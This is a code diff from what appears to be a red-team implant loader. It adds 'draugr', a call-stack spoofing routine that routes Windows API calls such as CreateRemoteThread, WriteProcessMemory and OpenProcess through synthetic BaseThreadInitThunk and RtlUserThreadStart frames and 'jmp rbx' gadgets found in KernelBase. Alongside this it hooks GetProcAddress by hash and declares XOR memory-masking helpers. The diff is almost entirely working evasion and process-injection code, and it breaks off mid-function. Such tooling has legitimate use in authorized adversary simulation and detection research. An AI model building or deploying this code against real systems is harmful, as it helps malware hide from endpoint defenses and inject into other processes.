@@ -487,14 +199,14 @@ DWORD WINAPI _ResumeThread(HANDLE hThread)
dprintf(" -> hThread : 0x%lp\n", hThread);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(ResumeThread);
call.argc = 1;
call.args[0] = (ULONG_PTR)(hThread);
call.function = (PVOID)(ResumeThread);
call.argc = 1;
call.args[0] = (ULONG_PTR)(hThread);
return (DWORD)draugr(&call);
return (DWORD)draugr(&call);
}
HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
@@ -509,19 +221,19 @@ HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwS
dprintf(" -> lpThreadId : 0x%lp\n", lpThreadId);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(CreateThread);
call.argc = 6;
call.args[0] = (ULONG_PTR)(lpThreadAttributes);
call.function = (PVOID)(CreateThread);
call.argc = 6;
call.args[0] = (ULONG_PTR)(lpThreadAttributes);
call.args[1] = (ULONG_PTR)(dwStackSize);
call.args[2] = (ULONG_PTR)(lpStartAddress);
call.args[3] = (ULONG_PTR)(lpParameter);
call.args[4] = (ULONG_PTR)(dwCreationFlags);
call.args[5] = (ULONG_PTR)(lpThreadId);
return (HANDLE)draugr(&call);
return (HANDLE)draugr(&call);
}
HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
@@ -537,12 +249,12 @@ HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThrea
dprintf(" -> lpThreadId : 0x%lp\n", lpThreadId);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(CreateRemoteThread);
call.argc = 7;
call.args[0] = (ULONG_PTR)(hProcess);
call.function = (PVOID)(CreateRemoteThread);
call.argc = 7;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpThreadAttributes);
call.args[2] = (ULONG_PTR)(dwStackSize);
call.args[3] = (ULONG_PTR)(lpStartAddress);
@@ -550,7 +262,7 @@ HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThrea
call.args[5] = (ULONG_PTR)(dwCreationFlags);
call.args[6] = (ULONG_PTR)(lpThreadId);
return (HANDLE)draugr(&call);
return (HANDLE)draugr(&call);
}
HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
@@ -562,16 +274,16 @@ HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwP
dprintf(" -> dwProcessId : %d\n", dwProcessId);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(OpenProcess);
call.argc = 3;
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
call.function = (PVOID)(OpenProcess);
call.argc = 3;
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
call.args[1] = (ULONG_PTR)(bInheritHandle);
call.args[2] = (ULONG_PTR)(dwProcessId);
return (HANDLE)draugr(&call);
return (HANDLE)draugr(&call);
}
HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId)
@@ -583,16 +295,16 @@ HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwTh
dprintf(" -> dwThreadId : %d\n", dwThreadId);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(OpenThread);
call.argc = 3;
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
call.function = (PVOID)(OpenThread);
call.argc = 3;
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
call.args[1] = (ULONG_PTR)(bInheritHandle);
call.args[2] = (ULONG_PTR)(dwThreadId);
return (HANDLE)draugr(&call);
return (HANDLE)draugr(&call);
}
BOOL WINAPI _CloseHandle(HANDLE hObject)
@@ -602,14 +314,14 @@ BOOL WINAPI _CloseHandle(HANDLE hObject)
dprintf(" -> hObject : 0x%lp\n", hObject);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(CloseHandle);
call.argc = 1;
call.args[0] = (ULONG_PTR)(hObject);
call.function = (PVOID)(CloseHandle);
call.argc = 1;
call.args[0] = (ULONG_PTR)(hObject);
return (BOOL)draugr(&call);
return (BOOL)draugr(&call);
}
HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName)
@@ -624,19 +336,19 @@ HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMapp
dprintf(" -> lpName : %s\n", lpName);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(CreateFileMappingA);
call.argc = 6;
call.args[0] = (ULONG_PTR)(hFile);
call.function = (PVOID)(CreateFileMappingA);
call.argc = 6;
call.args[0] = (ULONG_PTR)(hFile);
call.args[1] = (ULONG_PTR)(lpFileMappingAttributes);
call.args[2] = (ULONG_PTR)(flProtect);
call.args[3] = (ULONG_PTR)(dwMaximumSizeHigh);
call.args[4] = (ULONG_PTR)(dwMaximumSizeLow);
call.args[5] = (ULONG_PTR)(lpName);
return (HANDLE)draugr(&call);
return (HANDLE)draugr(&call);
}
LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap)
@@ -650,18 +362,18 @@ LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, D
dprintf(" -> dwNumberOfBytesToMap : %d\n", dwNumberOfBytesToMap);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(MapViewOfFile);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hFileMappingObject);
call.function = (PVOID)(MapViewOfFile);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hFileMappingObject);
call.args[1] = (ULONG_PTR)(dwDesiredAccess);
call.args[2] = (ULONG_PTR)(dwFileOffsetHigh);
call.args[3] = (ULONG_PTR)(dwFileOffsetLow);
call.args[4] = (ULONG_PTR)(dwNumberOfBytesToMap);
return (LPVOID)draugr(&call);
return (LPVOID)draugr(&call);
}
BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
@@ -671,14 +383,14 @@ BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(MapViewOfFile);
call.argc = 1;
call.args[0] = (ULONG_PTR)(lpBaseAddress);
call.function = (PVOID)(MapViewOfFile);
call.argc = 1;
call.args[0] = (ULONG_PTR)(lpBaseAddress);
return (BOOL)draugr(&call);
return (BOOL)draugr(&call);
}
SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
@@ -690,16 +402,16 @@ SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffe
dprintf(" -> dwLength : %d\n", dwLength);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(VirtualQuery);
call.argc = 3;
call.args[0] = (ULONG_PTR)(lpAddress);
call.function = (PVOID)(VirtualQuery);
call.argc = 3;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(lpBuffer);
call.args[2] = (ULONG_PTR)(dwLength);
return (SIZE_T)draugr(&call);
return (SIZE_T)draugr(&call);
}
BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
@@ -715,12 +427,12 @@ BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle,
dprintf(" -> dwOptions : %d\n", dwOptions);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(DuplicateHandle);
call.argc = 7;
call.args[0] = (ULONG_PTR)(hSourceProcessHandle);
call.function = (PVOID)(DuplicateHandle);
call.argc = 7;
call.args[0] = (ULONG_PTR)(hSourceProcessHandle);
call.args[1] = (ULONG_PTR)(hSourceHandle);
call.args[2] = (ULONG_PTR)(hTargetProcessHandle);
call.args[3] = (ULONG_PTR)(lpTargetHandle);
@@ -728,7 +440,7 @@ BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle,
call.args[5] = (ULONG_PTR)(bInheritHandle);
call.args[6] = (ULONG_PTR)(dwOptions);
return (BOOL)draugr(&call);
return (BOOL)draugr(&call);
}
BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead)
@@ -742,18 +454,18 @@ BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lp
dprintf(" -> lpNumberOfBytesRead : 0x%lp\n", lpNumberOfBytesRead);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(ReadProcessMemory);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.function = (PVOID)(ReadProcessMemory);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpBaseAddress);
call.args[2] = (ULONG_PTR)(lpBuffer);
call.args[3] = (ULONG_PTR)(nSize);
call.args[4] = (ULONG_PTR)(lpNumberOfBytesRead);
return (BOOL)draugr(&call);
return (BOOL)draugr(&call);
}
BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten)
@@ -767,18 +479,18 @@ BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID l
dprintf(" -> lpNumberOfBytesWritten : 0x%lp\n", lpNumberOfBytesWritten);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(WriteProcessMemory);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.function = (PVOID)(WriteProcessMemory);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpBaseAddress);
call.args[2] = (ULONG_PTR)(lpBuffer);
call.args[3] = (ULONG_PTR)(nSize);
call.args[4] = (ULONG_PTR)(lpNumberOfBytesWritten);
return (BOOL)draugr(&call);
return (BOOL)draugr(&call);
}
DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
@@ -788,14 +500,14 @@ DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
dprintf(" -> dwExitCode : %d\n", dwExitCode);
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(g_ExitThread);
call.argc = 1;
call.args[0] = (ULONG_PTR)(dwExitCode);
call.function = (PVOID)(g_ExitThread);
call.argc = 1;
call.args[0] = (ULONG_PTR)(dwExitCode);
draugr(&call);
draugr(&call);
}
BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
@@ -815,11 +527,11 @@ BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSEC
#endif
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(CreateProcessA);
call.argc = 10;
call.args[0] = (ULONG_PTR)(lpApplicationName);
call.function = (PVOID)(CreateProcessA);
call.argc = 10;
call.args[0] = (ULONG_PTR)(lpApplicationName);
call.args[1] = (ULONG_PTR)(lpCommandLine);
call.args[2] = (ULONG_PTR)(lpProcessAttributes);
call.args[3] = (ULONG_PTR)(lpThreadAttributes);
@@ -830,7 +542,7 @@ BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSEC
call.args[8] = (ULONG_PTR)(lpStartupInfo);
call.args[9] = (ULONG_PTR)(lpProcessInformation);
return (BOOL)draugr(&call);
return (BOOL)draugr(&call);
}
VOID WINAPI _Sleep(DWORD dwMilliseconds)
@@ -846,31 +558,31 @@ VOID WINAPI _Sleep(DWORD dwMilliseconds)
return;
}
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(Sleep);
call.argc = 1;
call.args[0] = (ULONG_PTR)(dwMilliseconds);
call.function = (PVOID)(Sleep);
call.argc = 1;
call.args[0] = (ULONG_PTR)(dwMilliseconds);
draugr(&call);
draugr(&call);
}
HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(LoadLibraryA);
call.argc = 1;
call.args[0] = (ULONG_PTR)(lpLibFileName);
call.function = (PVOID)(LoadLibraryA);
call.argc = 1;
call.args[0] = (ULONG_PTR)(lpLibFileName);
return (HMODULE)draugr(&call);
return (HMODULE)draugr(&call);
}
char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
char * result = (char *)GetProcAddress(hModule, lpProcName);
char * result = (char *)GetProcAddress(hModule, lpProcName);
/*
* Check to see what function is being resolved.
@@ -887,9 +599,9 @@ char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
/* Calculte function hash */
DWORD h = hash((char *)lpProcName);
if (h == GETPROCADDRESS_HASH) {
return (char *)_GetProcAddress;
}
if (h == GETPROCADDRESS_HASH) {
return (char *)_GetProcAddress;
}
else if (h == LOADLIBRARYA_HASH) {
return (char *)_LoadLibraryA;
}
@@ -969,12 +681,12 @@ char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout)
{
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
if (layout != NULL) {
g_layout = *layout;
}
init_frame_info();
initFrameInfo();
}
+397
View File
@@ -0,0 +1,397 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include "hash.h"
#include "proxy.h"
#include "memory.h"
#define RBP_OP_INFO 0x5
#define draugrArg(i) (ULONG_PTR)functionCall->args[i]
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR);
DECLSPEC_IMPORT PRUNTIME_FUNCTION WINAPI KERNEL32$RtlLookupFunctionEntry (DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE);
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx (PULONG);
/* the proxy pic */
DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
// God Bless Vulcan Raven.
typedef struct _STACK_FRAME {
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME, * PSTACK_FRAME;
typedef enum _UNWIND_OP_CODES {
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union _UNWIND_CODE {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE, *PUNWIND_CODE;
typedef struct _UNWIND_INFO {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode[1];
} UNWIND_INFO, *PUNWIND_INFO;
typedef struct _FRAME_INFO {
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO, * PFRAME_INFO;
typedef struct _SYNTHETIC_STACK_FRAME {
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID pGadget;
} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME;
typedef struct {
PVOID function;
int argc;
ULONG_PTR args[10];
} FUNCTION_CALL, * PFUNCTION_CALL;
typedef struct _DRAUGR_FUNCTION_CALL {
PFUNCTION_CALL FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL;
SYNTHETIC_STACK_FRAME g_stackFrame;
void applyxor(char * data, DWORD len);
void xorsection(MEMORY_SECTION * section, BOOL mask);
void xorregion(MEMORY_REGION * region, BOOL mask);
void xormemory(BOOL mask);
void initFrameInfo()
{
PVOID pModuleFrame1 = KERNEL32$GetModuleHandleA("kernel32.dll");
PVOID pModuleFrame2 = KERNEL32$GetModuleHandleA("ntdll.dll");
g_stackFrame.Frame1.ModuleAddress = pModuleFrame1;
g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk");
g_stackFrame.Frame1.Offset = 0x17;
g_stackFrame.Frame2.ModuleAddress = pModuleFrame2;
g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart");
g_stackFrame.Frame2.Offset = 0x2c;
g_stackFrame.pGadget = KERNEL32$GetModuleHandleA("KernelBase.dll");
}
BOOL getTextSectionSize(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize)
{
PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule);
if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew);
if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders);
for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++)
{
DWORD h = hash((char*)pImgSectionHeader[i].Name);
if (h == TEXT_HASH)
{
*pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress;
*pdwSize = pImgSectionHeader[i].SizeOfRawData;
return TRUE;
}
}
return FALSE;
}
PVOID calculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase)
{
PUNWIND_INFO pUnwindInfo = NULL;
ULONG unwindOperation = 0;
ULONG operationInfo = 0;
ULONG index = 0;
ULONG frameOffset = 0;
STACK_FRAME stackFrame;
memset(&stackFrame, 0, sizeof(stackFrame));
if (!pRuntimeFunction) {
return NULL;
}
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase);
while (index < pUnwindInfo->CountOfCodes)
{
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
/* don't use switch as it produces jump tables */
if (unwindOperation == UWOP_PUSH_NONVOL)
{
stackFrame.TotalStackSize += 8;
if (RBP_OP_INFO == operationInfo) {
stackFrame.PushRbp = TRUE;
stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes;
stackFrame.PushRbpIndex = index + 1;
}
}
else if (unwindOperation == UWOP_SAVE_NONVOL)
{
index += 1;
}
else if (unwindOperation == UWOP_ALLOC_SMALL)
{
stackFrame.TotalStackSize += ((operationInfo * 8) + 8);
}
else if (unwindOperation == UWOP_ALLOC_LARGE)
{
index += 1;
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
if (operationInfo == 0) {
frameOffset *= 8;
}
else {
index += 1;
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
}
stackFrame.TotalStackSize += frameOffset;
}
else if (unwindOperation == UWOP_SET_FPREG)
{
stackFrame.SetsFramePointer = TRUE;
}
else if (unwindOperation == UWOP_SAVE_XMM128)
{
return NULL;
}
index += 1;
}
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO))
{
index = pUnwindInfo->CountOfCodes;
if (0 != (index & 1)) {
index += 1;
}
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
return calculateFunctionStackSize(pRuntimeFunction, imageBase);
}
stackFrame.TotalStackSize += 8;
return (PVOID)(stackFrame.TotalStackSize);
}
PVOID calculateFunctionStackSizeWrapper(PVOID returnAddress)
{
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
DWORD64 ImageBase = 0;
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
if (!returnAddress) {
return NULL;
}
pRuntimeFunction = KERNEL32$RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable);
if (NULL == pRuntimeFunction) {
return NULL;
}
return calculateFunctionStackSize(pRuntimeFunction, ImageBase);
}
PVOID findGadget(PVOID pModuleAddr)
{
BOOL bFoundGadgets = FALSE;
DWORD dwTextSectionSize = 0;
DWORD dwTextSectionVa = 0;
DWORD dwCounter = 0;
ULONG seed = 0;
ULONG randomNbr = 0;
PVOID pModTextSection = NULL;
PVOID pGadgetList[15];
memset(&pGadgetList, 0, (sizeof(PVOID) * 8));
if (!bFoundGadgets)
{
if (!getTextSectionSize(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) {
return NULL;
}
pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa);
for (int i = 0; i < (dwTextSectionSize - 2); i++)
{
// Searching for jmp rbx gadget
if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23)
{
pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i);
dwCounter++;
if (dwCounter == 15) {
break;
}
}
}
bFoundGadgets = TRUE;
}
seed = 0x1337;
randomNbr = NTDLL$RtlRandomEx(&seed);
randomNbr %= dwCounter;
return pGadgetList[randomNbr];
}
ULONG_PTR draugrWrapper(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12)
{
int attempts = 0;
PVOID returnAddress = NULL;
DRAUGR_PARAMETERS draugrParameters;
memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS));
// configure BaseThreadInitThunk frame
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset);
draugrParameters.BaseThreadInitThunkStackSize = calculateFunctionStackSizeWrapper(returnAddress);
draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress;
if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) {
return (ULONG_PTR)(NULL);
}
// configure RtlUserThreadStart frame.
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset);
draugrParameters.RtlUserThreadStartStackSize = calculateFunctionStackSizeWrapper(returnAddress);
draugrParameters.RtlUserThreadStartReturnAddress = returnAddress;
if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) {
return (ULONG_PTR)(NULL);
}
/*
* Ensure that the gadget stack size is bigger than 0x80, which is min
* required to hold 10 arguments, otherwise it will crash sporadically.
*/
do {
draugrParameters.Trampoline = findGadget(g_stackFrame.pGadget);
draugrParameters.TrampolineStackSize = calculateFunctionStackSizeWrapper(draugrParameters.Trampoline);
attempts++;
// quick sanity check for infinite loop
if (attempts > 15) {
return (ULONG_PTR)(NULL);
}
} while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80));
if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) {
return (ULONG_PTR)(NULL);
}
// make the call!
return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12);
}
ULONG_PTR draugr(PFUNCTION_CALL functionCall)
{
/* very inelegant */
if (functionCall->argc == 0) {
return draugrWrapper(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 1) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 2) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 3) {
